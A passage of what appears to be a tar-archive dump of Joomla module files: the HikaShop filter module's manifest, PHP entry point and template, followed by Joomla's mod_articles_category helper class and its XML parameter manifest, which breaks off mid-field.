				<field name="display_on_category_listing_page" type="radio" default="1" label="Display on the category listing page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_checkout_page" type="radio" default="1" label="Display on the checkout page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_contact_page" type="radio" default="1" label="Display on the contact page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_waitlist_page" type="radio" default="1" label="Display on the waitlist page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="filter_collapsable" type="radio" default="1" label="Collapsable filters" description="">
					<option value="0">No</option>
					<option value="1">Mobile devices</option>
					<option value="always">Always</option>
				</field>
				<field name="scroll_to_top" type="radio" default="0" label="Scroll to top after filtering" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
mod_hikashop_filter/mod_hikashop_filter.php000064400000001664150746134710015320 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(!defined('DS'))
	define('DS', DIRECTORY_SEPARATOR);
if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php')){
	echo 'This module can not work without the Hikashop Component';
	return;
};
$js ='';
hikashop_initModule();

foreach(get_object_vars($module) as $k => $v){
	if(!is_object($v) && $params->get($k,null)==null){
		$params->set($k,$v);
	}
}

$moduleClass = hikashop_get('class.modules');
if($moduleClass->restrictedModule($params) === false)
	return;

$html = trim(hikashop_getLayout('product','filter',$params,$js));
require(JModuleHelper::getLayoutPath('mod_hikashop_filter'));
mod_hikashop_filter/index.html000064400000000054150746134710012562 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_hikashop_filter/tmpl/index.html000064400000000054150746134710013536 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_hikashop_filter/tmpl/default.php000064400000000743150746134710013703 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php if(!empty($html)){
?>
<div class="hikashop_filter_module <?php if(isset($params)) echo $params->get('moduleclass_sfx');?>">
<?php echo $html;?>
<div style="clear:both;"></div>
</div>
<?php } ?>
mod_articles_category/src/Helper/ArticlesCategoryHelper.php000060400000035040150746134710020237 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_articles_category
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\ArticlesCategory\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Access\Access;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Date\Date;
use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\RouteHelper;
use Joomla\String\StringHelper;

/**
 * Helper for mod_articles_category
 *
 * @since  1.6
 */
abstract class ArticlesCategoryHelper
{
	/**
	 * Get a list of articles from a specific category
	 *
	 * @param   \Joomla\Registry\Registry  &$params  object holding the models parameters
	 *
	 * @return  mixed
	 *
	 * @since  1.6
	 */
	public static function getList(&$params)
	{
		$app     = Factory::getApplication();
		$factory = $app->bootComponent('com_content')->getMVCFactory();

		// Get an instance of the generic articles model
		$articles = $factory->createModel('Articles', 'Site', ['ignore_request' => true]);

		// Set application parameters in model
		$input     = $app->input;
		$appParams = $app->getParams();
		$articles->setState('params', $appParams);

		$articles->setState('list.start', 0);
		$articles->setState('filter.published', ContentComponent::CONDITION_PUBLISHED);

		// Set the filters based on the module params
		$articles->setState('list.limit', (int) $params->get('count', 0));
		$articles->setState('load_tags', $params->get('show_tags', 0) || $params->get('article_grouping', 'none') === 'tags');

		// Access filter
		$access     = !ComponentHelper::getParams('com_content')->get('show_noauth');
		$authorised = Access::getAuthorisedViewLevels(Factory::getUser()->get('id'));
		$articles->setState('filter.access', $access);

		// Prep for Normal or Dynamic Modes
		$mode = $params->get('mode', 'normal');

		switch ($mode)
		{
			case 'dynamic':
				$option = $input->get('option');
				$view   = $input->get('view');

				if ($option === 'com_content')
				{
					switch ($view)
					{
						case 'category':
						case 'categories':
							$catids = array($input->getInt('id'));
							break;
						case 'article':
							if ($params->get('show_on_article_page', 1))
							{
								$article_id = $input->getInt('id');
								$catid      = $input->getInt('catid');

								if (!$catid)
								{
									// Get an instance of the generic article model
									$article = $factory->createModel('Article', 'Site', ['ignore_request' => true]);

									$article->setState('params', $appParams);
									$article->setState('filter.published', 1);
									$article->setState('article.id', (int) $article_id);
									$item   = $article->getItem();
									$catids = array($item->catid);
								}
								else
								{
									$catids = array($catid);
								}
							}
							else
							{
								// Return right away if show_on_article_page option is off
								return;
							}
							break;

						default:
							// Return right away if not on the category or article views
							return;
					}
				}
				else
				{
					// Return right away if not on a com_content page
					return;
				}

				break;

			default:
				$catids = $params->get('catid');
				$articles->setState('filter.category_id.include', (bool) $params->get('category_filtering_type', 1));
				break;
		}

		// Category filter
		if ($catids)
		{
			if ($params->get('show_child_category_articles', 0) && (int) $params->get('levels', 0) > 0)
			{
				// Get an instance of the generic categories model
				$categories = $factory->createModel('Categories', 'Site', ['ignore_request' => true]);
				$categories->setState('params', $appParams);
				$levels = $params->get('levels', 1) ?: 9999;
				$categories->setState('filter.get_children', $levels);
				$categories->setState('filter.published', 1);
				$categories->setState('filter.access', $access);
				$additional_catids = array();

				foreach ($catids as $catid)
				{
					$categories->setState('filter.parentId', $catid);
					$recursive = true;
					$items     = $categories->getItems($recursive);

					if ($items)
					{
						foreach ($items as $category)
						{
							$condition = (($category->level - $categories->getParent()->level) <= $levels);

							if ($condition)
							{
								$additional_catids[] = $category->id;
							}
						}
					}
				}

				$catids = array_unique(array_merge($catids, $additional_catids));
			}

			$articles->setState('filter.category_id', $catids);
		}

		// Ordering
		$ordering = $params->get('article_ordering', 'a.ordering');

		switch ($ordering)
		{
			case 'random':
				$articles->setState('list.ordering', Factory::getDbo()->getQuery(true)->rand());
				break;

			case 'rating_count':
			case 'rating':
				$articles->setState('list.ordering', $ordering);
				$articles->setState('list.direction', $params->get('article_ordering_direction', 'ASC'));

				if (!PluginHelper::isEnabled('content', 'vote'))
				{
					$articles->setState('list.ordering', 'a.ordering');
				}

				break;

			default:
				$articles->setState('list.ordering', $ordering);
				$articles->setState('list.direction', $params->get('article_ordering_direction', 'ASC'));
				break;
		}

		// Filter by multiple tags
		$articles->setState('filter.tag', $params->get('filter_tag', array()));

		$articles->setState('filter.featured', $params->get('show_front', 'show'));
		$articles->setState('filter.author_id', $params->get('created_by', array()));
		$articles->setState('filter.author_id.include', $params->get('author_filtering_type', 1));
		$articles->setState('filter.author_alias', $params->get('created_by_alias', array()));
		$articles->setState('filter.author_alias.include', $params->get('author_alias_filtering_type', 1));
		$excluded_articles = $params->get('excluded_articles', '');

		if ($excluded_articles)
		{
			$excluded_articles = explode("\r\n", $excluded_articles);
			$articles->setState('filter.article_id', $excluded_articles);

			// Exclude
			$articles->setState('filter.article_id.include', false);
		}

		$date_filtering = $params->get('date_filtering', 'off');

		if ($date_filtering !== 'off')
		{
			$articles->setState('filter.date_filtering', $date_filtering);
			$articles->setState('filter.date_field', $params->get('date_field', 'a.created'));
			$articles->setState('filter.start_date_range', $params->get('start_date_range', '1000-01-01 00:00:00'));
			$articles->setState('filter.end_date_range', $params->get('end_date_range', '9999-12-31 23:59:59'));
			$articles->setState('filter.relative_date', $params->get('relative_date', 30));
		}

		// Filter by language
		$articles->setState('filter.language', $app->getLanguageFilter());

		$items = $articles->getItems();

		// Display options
		$show_date        = $params->get('show_date', 0);
		$show_date_field  = $params->get('show_date_field', 'created');
		$show_date_format = $params->get('show_date_format', 'Y-m-d H:i:s');
		$show_category    = $params->get('show_category', 0);
		$show_hits        = $params->get('show_hits', 0);
		$show_author      = $params->get('show_author', 0);
		$show_introtext   = $params->get('show_introtext', 0);
		$introtext_limit  = $params->get('introtext_limit', 100);

		// Find current Article ID if on an article page
		$option = $input->get('option');
		$view   = $input->get('view');

		if ($option === 'com_content' && $view === 'article')
		{
			$active_article_id = $input->getInt('id');
		}
		else
		{
			$active_article_id = 0;
		}

		// Prepare data for display using display options
		foreach ($items as &$item)
		{
			$item->slug = $item->id . ':' . $item->alias;

			if ($access || \in_array($item->access, $authorised))
			{
				// We know that user has the privilege to view the article
				$item->link = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language));
			}
			else
			{
				$menu      = $app->getMenu();
				$menuitems = $menu->getItems('link', 'index.php?option=com_users&view=login');

				if (isset($menuitems[0]))
				{
					$Itemid = $menuitems[0]->id;
				}
				elseif ($input->getInt('Itemid') > 0)
				{
					// Use Itemid from requesting page only if there is no existing menu
					$Itemid = $input->getInt('Itemid');
				}

				$item->link = Route::_('index.php?option=com_users&view=login&Itemid=' . $Itemid);
			}

			// Used for styling the active article
			$item->active      = $item->id == $active_article_id ? 'active' : '';
			$item->displayDate = '';

			if ($show_date)
			{
				$item->displayDate = HTMLHelper::_('date', $item->$show_date_field, $show_date_format);
			}

			if ($item->catid)
			{
				$item->displayCategoryLink  = Route::_(RouteHelper::getCategoryRoute($item->catid, $item->category_language));
				$item->displayCategoryTitle = $show_category ? '<a href="' . $item->displayCategoryLink . '">' . $item->category_title . '</a>' : '';
			}
			else
			{
				$item->displayCategoryTitle = $show_category ? $item->category_title : '';
			}

			$item->displayHits       = $show_hits ? $item->hits : '';
			$item->displayAuthorName = $show_author ? $item->author : '';

			if ($show_introtext)
			{
				$item->introtext = HTMLHelper::_('content.prepare', $item->introtext, '', 'mod_articles_category.content');
				$item->introtext = self::_cleanIntrotext($item->introtext);
			}

			$item->displayIntrotext = $show_introtext ? self::truncate($item->introtext, $introtext_limit) : '';
			$item->displayReadmore  = $item->alternative_readmore;
		}

		return $items;
	}

	/**
	 * Strips unnecessary tags from the introtext
	 *
	 * @param   string  $introtext  introtext to sanitize
	 *
	 * @return mixed|string
	 *
	 * @since  1.6
	 */
	public static function _cleanIntrotext($introtext)
	{
		$introtext = str_replace(array('<p>', '</p>'), ' ', $introtext);
		$introtext = strip_tags($introtext, '<a><em><strong>');
		$introtext = trim($introtext);

		return $introtext;
	}

	/**
	 * Method to truncate introtext
	 *
	 * The goal is to get the proper length plain text string with as much of
	 * the html intact as possible with all tags properly closed.
	 *
	 * @param   string   $html       The content of the introtext to be truncated
	 * @param   integer  $maxLength  The maximum number of characters to render
	 *
	 * @return  string  The truncated string
	 *
	 * @since   1.6
	 */
	public static function truncate($html, $maxLength = 0)
	{
		$baseLength = \strlen($html);

		// First get the plain text string. This is the rendered text we want to end up with.
		$ptString = HTMLHelper::_('string.truncate', $html, $maxLength, $noSplit = true, $allowHtml = false);

		for ($maxLength; $maxLength < $baseLength;)
		{
			// Now get the string if we allow html.
			$htmlString = HTMLHelper::_('string.truncate', $html, $maxLength, $noSplit = true, $allowHtml = true);

			// Now get the plain text from the html string.
			$htmlStringToPtString = HTMLHelper::_('string.truncate', $htmlString, $maxLength, $noSplit = true, $allowHtml = false);

			// If the new plain text string matches the original plain text string we are done.
			if ($ptString === $htmlStringToPtString)
			{
				return $htmlString;
			}

			// Get the number of html tag characters in the first $maxlength characters
			$diffLength = \strlen($ptString) - \strlen($htmlStringToPtString);

			// Set new $maxlength that adjusts for the html tags
			$maxLength += $diffLength;

			if ($baseLength <= $maxLength || $diffLength <= 0)
			{
				return $htmlString;
			}
		}

		return $html;
	}

	/**
	 * Groups items by field
	 *
	 * @param   array   $list             list of items
	 * @param   string  $fieldName        name of field that is used for grouping
	 * @param   string  $direction        ordering direction
	 * @param   null    $fieldNameToKeep  field name to keep
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public static function groupBy($list, $fieldName, $direction, $fieldNameToKeep = null)
	{
		$grouped = array();

		if (!\is_array($list))
		{
			if ($list === '')
			{
				return $grouped;
			}

			$list = array($list);
		}

		foreach ($list as $key => $item)
		{
			if (!isset($grouped[$item->$fieldName]))
			{
				$grouped[$item->$fieldName] = array();
			}

			if ($fieldNameToKeep === null)
			{
				$grouped[$item->$fieldName][$key] = $item;
			}
			else
			{
				$grouped[$item->$fieldName][$key] = $item->$fieldNameToKeep;
			}

			unset($list[$key]);
		}

		$direction($grouped);

		return $grouped;
	}

	/**
	 * Groups items by date
	 *
	 * @param   array   $list             list of items
	 * @param   string  $direction        ordering direction
	 * @param   string  $type             type of grouping
	 * @param   string  $monthYearFormat  date format to use
	 * @param   string  $field            date field to group by
	 *
	 * @return  array
	 *
	 * @since   1.6
	 */
	public static function groupByDate($list, $direction = 'ksort', $type = 'year', $monthYearFormat = 'F Y', $field = 'created')
	{
		$grouped = array();

		if (!\is_array($list))
		{
			if ($list === '')
			{
				return $grouped;
			}

			$list = array($list);
		}

		foreach ($list as $key => $item)
		{
			switch ($type)
			{
				case 'month_year':
					$month_year = StringHelper::substr($item->$field, 0, 7);

					if (!isset($grouped[$month_year]))
					{
						$grouped[$month_year] = array();
					}

					$grouped[$month_year][$key] = $item;
					break;

				default:
					$year = StringHelper::substr($item->$field, 0, 4);

					if (!isset($grouped[$year]))
					{
						$grouped[$year] = array();
					}

					$grouped[$year][$key] = $item;
					break;
			}

			unset($list[$key]);
		}

		$direction($grouped);

		if ($type === 'month_year')
		{
			foreach ($grouped as $group => $items)
			{
				$date                      = new Date($group);
				$formatted_group           = $date->format($monthYearFormat);
				$grouped[$formatted_group] = $items;

				unset($grouped[$group]);
			}
		}

		return $grouped;
	}

	/**
	 * Groups items by tags
	 *
	 * @param   array   $list       list of items
	 * @param   string  $direction  ordering direction
	 *
	 * @return  array
	 *
	 * @since   3.9.0
	 */
	public static function groupByTags($list, $direction = 'ksort')
	{
		$grouped  = array();
		$untagged = array();

		if (!$list)
		{
			return $grouped;
		}

		foreach ($list as $item)
		{
			if ($item->tags->itemTags)
			{
				foreach ($item->tags->itemTags as $tag)
				{
					$grouped[$tag->title][] = $item;
				}
			}
			else
			{
				$untagged[] = $item;
			}
		}

		$direction($grouped);

		if ($untagged)
		{
			$grouped['MOD_ARTICLES_CATEGORY_UNTAGGED'] = $untagged;
		}

		return $grouped;
	}
}
mod_articles_category/mod_articles_category.xml000064400000042275150746134710016214 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_articles_category</name>
	<author>Joomla! Project</author>
	<creationDate>February 2010</creationDate>
	<copyright>(C) 2010 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_ARTICLES_CATEGORY_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_articles_category">mod_articles_category.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_articles_category.ini</language>
		<language tag="en-GB">en-GB.mod_articles_category.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_ARTICLES_CATEGORY" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="mode"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_MODE_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_MODE_DESC"
					default="normal"
					>
					<option value="normal">MOD_ARTICLES_CATEGORY_OPTION_NORMAL_VALUE</option>
					<option value="dynamic">MOD_ARTICLES_CATEGORY_OPTION_DYNAMIC_VALUE</option>
				</field>

				<field
					name="show_on_article_page"
					type="radio"
					label="MOD_ARTICLES_CATEGORY_FIELD_SHOWONARTICLEPAGE_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_SHOWONARTICLEPAGE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					showon="mode:dynamic"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>
			</fieldset>

			<fieldset
				name="filtering"
				label="MOD_ARTICLES_CATEGORY_FIELD_GROUP_FILTERING_LABEL"
			>

				<field
					name="count"
					type="number"
					label="MOD_ARTICLES_CATEGORY_FIELD_COUNT_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_COUNT_DESC"
					default="0"
					filter="integer"
				/>

				<field
					name="show_front"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_SHOWFEATURED_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_SHOWFEATURED_DESC"
					default="show"
					validate="options"
					>
					<option value="show">JSHOW</option>
					<option value="hide">JHIDE</option>
					<option value="only">MOD_ARTICLES_CATEGORY_OPTION_ONLYFEATURED_VALUE</option>
				</field>

				<field
					name="filteringspacer0"
					type="spacer"
					hr="true"
				/>

				<field
					name="category_filtering_type"
					type="radio"
					label="MOD_ARTICLES_CATEGORY_FIELD_CATFILTERINGTYPE_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_CATFILTERINGTYPE_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">MOD_ARTICLES_CATEGORY_OPTION_INCLUSIVE_VALUE</option>
					<option value="0">MOD_ARTICLES_CATEGORY_OPTION_EXCLUSIVE_VALUE</option>
				</field>

				<field
					name="catid"
					type="category"
					label="JCATEGORY"
					description="MOD_ARTICLES_CATEGORY_FIELD_CATEGORY_DESC"
					extension="com_content"
					multiple="true"
					filter="int_array"
					class="multipleCategories"
				/>

				<field
					name="show_child_category_articles"
					type="radio"
					label="MOD_ARTICLES_CATEGORY_FIELD_SHOWCHILDCATEGORYARTICLES_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_SHOWCHILDCATEGORYARTICLES_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">MOD_ARTICLES_CATEGORY_OPTION_INCLUDE_VALUE</option>
					<option value="0">MOD_ARTICLES_CATEGORY_OPTION_EXCLUDE_VALUE</option>
				</field>

				<field
					name="levels"
					type="number"
					label="MOD_ARTICLES_CATEGORY_FIELD_CATDEPTH_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_CATDEPTH_DESC"
					default="1"
					filter="integer"
					showon="show_child_category_articles:1"
				/>

				<field
					name="filteringspacer1"
					type="spacer"
					hr="true"
				/>

				<field
					name="filter_tag"
					type="tag"
					label="JTAG"
					description="JTAG_FIELD_SELECT_DESC"
					mode="nested"
					multiple="true"
					filter="int_array"
					class="multipleTags"
				/>

				<field
					name="filteringspacer2"
					type="spacer"
					hr="true"
				/>

				<field
					name="author_filtering_type"
					type="radio"
					label="MOD_ARTICLES_CATEGORY_FIELD_AUTHORFILTERING_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_AUTHORFILTERING_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">MOD_ARTICLES_CATEGORY_OPTION_INCLUSIVE_VALUE</option>
					<option value="0">MOD_ARTICLES_CATEGORY_OPTION_EXCLUSIVE_VALUE</option>
				</field>

				<field
					name="created_by"
					type="author"
					label="MOD_ARTICLES_CATEGORY_FIELD_AUTHOR_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_AUTHOR_DESC"
					multiple="true"
					filter="int_array"
					class="multipleAuthors"
				/>

				<field
					name="filteringspacer3"
					type="spacer"
					hr="true"
				/>

				<field
					name="author_alias_filtering_type"
					type="radio"
					label="MOD_ARTICLES_CATEGORY_FIELD_AUTHORALIASFILTERING_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_AUTHORALIASFILTERING_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">MOD_ARTICLES_CATEGORY_OPTION_INCLUSIVE_VALUE</option>
					<option value="0">MOD_ARTICLES_CATEGORY_OPTION_EXCLUSIVE_VALUE</option>
				</field>

				<field
					name="created_by_alias"
					type="sql"
					label="MOD_ARTICLES_CATEGORY_FIELD_AUTHORALIAS_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_AUTHORALIAS_DESC"
					multiple="true"
					query="select distinct(created_by_alias) from #__content where created_by_alias != '' order by created_by_alias ASC"
					key_field="created_by_alias"
					value_field="created_by_alias"
					class="multipleAuthorAliases"
				/>

				<field
					name="filteringspacer4"
					type="spacer"
					hr="true"
				/>

				<field
					name="excluded_articles"
					type="textarea"
					label="MOD_ARTICLES_CATEGORY_FIELD_EXCLUDEDARTICLES_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_EXCLUDEDARTICLES_DESC"
					cols="10"
					rows="3"
				/>

				<field
					name="filteringspacer5"
					type="spacer"
					hr="true"
				/>

				<field
					name="date_filtering"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_DATEFILTERING_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_DATEFILTERING_DESC"
					default="off"
					validate="options"
					>
					<option value="off">MOD_ARTICLES_CATEGORY_OPTION_OFF_VALUE</option>
					<option value="range">MOD_ARTICLES_CATEGORY_OPTION_DATERANGE_VALUE</option>
					<option value="relative">MOD_ARTICLES_CATEGORY_OPTION_RELATIVEDAY_VALUE</option>
				</field>

				<field
					name="date_field"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_DATERANGEFIELD_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_DATERANGEFIELD_DESC"
					default="a.created"
					showon="date_filtering!:off"
					validate="options"
					>
					<option value="a.created">MOD_ARTICLES_CATEGORY_OPTION_CREATED_VALUE</option>
					<option value="a.modified">MOD_ARTICLES_CATEGORY_OPTION_MODIFIED_VALUE</option>
					<option value="a.publish_up">MOD_ARTICLES_CATEGORY_OPTION_STARTPUBLISHING_VALUE</option>
				</field>

				<field
					name="start_date_range"
					type="calendar"
					label="MOD_ARTICLES_CATEGORY_FIELD_STARTDATE_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_STARTDATE_DESC"
					translateformat="true"
					showtime="true"
					size="22"
					filter="user_utc"
					showon="date_filtering:range"
				/>

				<field
					name="end_date_range"
					type="calendar"
					label="MOD_ARTICLES_CATEGORY_FIELD_ENDDATE_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_ENDDATE_DESC"
					translateformat="true"
					showtime="true"
					size="22"
					filter="user_utc"
					showon="date_filtering:range"
				/>

				<field
					name="relative_date"
					type="number"
					label="MOD_ARTICLES_CATEGORY_FIELD_RELATIVEDATE_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_RELATIVEDATE_DESC"
					default="30"
					filter="integer"
					showon="date_filtering:relative"
				/>

			</fieldset>

			<fieldset
				name="ordering"
				label="MOD_ARTICLES_CATEGORY_FIELD_GROUP_ORDERING_LABEL"
			>

				<field
					name="article_ordering"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_ARTICLEORDERING_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_ARTICLEORDERING_DESC"
					default="a.title"
					validate="options"
					>
					<option value="a.ordering">MOD_ARTICLES_CATEGORY_OPTION_ORDERING_VALUE</option>
					<option value="fp.ordering">MOD_ARTICLES_CATEGORY_OPTION_ORDERINGFEATURED_VALUE</option>
					<option value="a.hits">MOD_ARTICLES_CATEGORY_OPTION_HITS_VALUE</option>
					<option value="a.title">JGLOBAL_TITLE</option>
					<option value="a.id">MOD_ARTICLES_CATEGORY_OPTION_ID_VALUE</option>
					<option value="a.alias">JFIELD_ALIAS_LABEL</option>
					<option value="a.created">MOD_ARTICLES_CATEGORY_OPTION_CREATED_VALUE</option>
					<option value="modified">MOD_ARTICLES_CATEGORY_OPTION_MODIFIED_VALUE</option>
					<option value="publish_up">MOD_ARTICLES_CATEGORY_OPTION_STARTPUBLISHING_VALUE</option>
					<option value="a.publish_down">MOD_ARTICLES_CATEGORY_OPTION_FINISHPUBLISHING_VALUE</option>
					<option value="random">MOD_ARTICLES_CATEGORY_OPTION_RANDOM_VALUE</option>
					<option value="rating_count" requires="vote">MOD_ARTICLES_CATEGORY_OPTION_VOTE_VALUE</option>
					<option value="rating" requires="vote">MOD_ARTICLES_CATEGORY_OPTION_RATING_VALUE</option>
				</field>

				<field
					name="article_ordering_direction"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_ARTICLEORDERINGDIR_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_ARTICLEORDERINGDIR_DESC"
					default="ASC"
					validate="options"
					>
					<option value="DESC">MOD_ARTICLES_CATEGORY_OPTION_DESCENDING_VALUE</option>
					<option value="ASC">MOD_ARTICLES_CATEGORY_OPTION_ASCENDING_VALUE</option>
				</field>
			</fieldset>

			<fieldset
				name="grouping"
				label="MOD_ARTICLES_CATEGORY_FIELD_GROUP_GROUPING_LABEL"
				>

				<field
					name="article_grouping"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_ARTICLEGROUPING_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_ARTICLEGROUPING_DESC"
					default="none"
					validate="options"
					>
					<option value="none">JNONE</option>
					<option value="year">MOD_ARTICLES_CATEGORY_OPTION_YEAR_VALUE</option>
					<option value="month_year">MOD_ARTICLES_CATEGORY_OPTION_MONTHYEAR_VALUE</option>
					<option value="author">JAUTHOR</option>
					<option value="category_title">JCATEGORY</option>
					<option value="tags">JTAG</option>
				</field>

				<field
					name="date_grouping_field"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_DATEGROUPINGFIELD_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_DATEGROUPINGFIELD_DESC"
					default="created"
					showon="article_grouping:year,month_year"
					validate="options"
					>
					<option value="created">MOD_ARTICLES_CATEGORY_OPTION_CREATED_VALUE</option>
					<option value="modified">MOD_ARTICLES_CATEGORY_OPTION_MODIFIED_VALUE</option>
					<option value="publish_up">MOD_ARTICLES_CATEGORY_OPTION_STARTPUBLISHING_VALUE</option>
				</field>

				<field
					name="month_year_format"
					type="text"
					label="MOD_ARTICLES_CATEGORY_FIELD_MONTHYEARFORMAT_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_MONTHYEARFORMAT_DESC"
					default="F Y"
					showon="article_grouping:year,month_year"
				/>

				<field
					name="article_grouping_direction"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_ARTICLEGROUPINGDIR_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_ARTICLEGROUPINGDIR_DESC"
					default="ksort"
					showon="article_grouping!:none"
					validate="options"
					>
					<option value="krsort">MOD_ARTICLES_CATEGORY_OPTION_DESCENDING_VALUE</option>
					<option value="ksort">MOD_ARTICLES_CATEGORY_OPTION_ASCENDING_VALUE</option>
				</field>

			</fieldset>

			<fieldset
				name="display"
				label="MOD_ARTICLES_CATEGORY_FIELD_GROUP_DISPLAY_LABEL"
				>

				<field
					name="link_titles"
					type="radio"
					label="MOD_ARTICLES_CATEGORY_FIELD_LINKTITLES_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_LINKTITLES_DESC"
					default="1"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="show_date"
					type="radio"
					label="JDATE"
					description="MOD_ARTICLES_CATEGORY_FIELD_SHOWDATE_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="show_date_field"
					type="list"
					label="MOD_ARTICLES_CATEGORY_FIELD_DATEFIELD_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_DATEFIELD_DESC"
					default="created"
					showon="show_date:1"
					validate="options"
					>
					<option value="created">MOD_ARTICLES_CATEGORY_OPTION_CREATED_VALUE</option>
					<option value="modified">MOD_ARTICLES_CATEGORY_OPTION_MODIFIED_VALUE</option>
					<option value="publish_up">MOD_ARTICLES_CATEGORY_OPTION_STARTPUBLISHING_VALUE</option>
				</field>

				<field
					name="show_date_format"
					type="text"
					label="MOD_ARTICLES_CATEGORY_FIELD_DATEFIELDFORMAT_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_DATEFIELDFORMAT_DESC"
					default="Y-m-d H:i:s"
					showon="show_date:1"
				/>

				<field
					name="show_category"
					type="radio"
					label="JCATEGORY"
					description="MOD_ARTICLES_CATEGORY_FIELD_SHOWCATEGORY_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="show_hits"
					type="radio"
					label="MOD_ARTICLES_CATEGORY_FIELD_SHOWHITS_LABEL"
					description="MOD_ARTICLES_CATEGORY_FIELD_SHOWHITS_DESC"
					default="0"
					filter="integer"
					class="btn-group btn-group-yesno"
					>
					<option value="1">JSHOW</option>
					<option value="0">JHIDE</option>
				</field>

				<field
					name="show_author"
					type="radio"
					label="JAUTHOR"
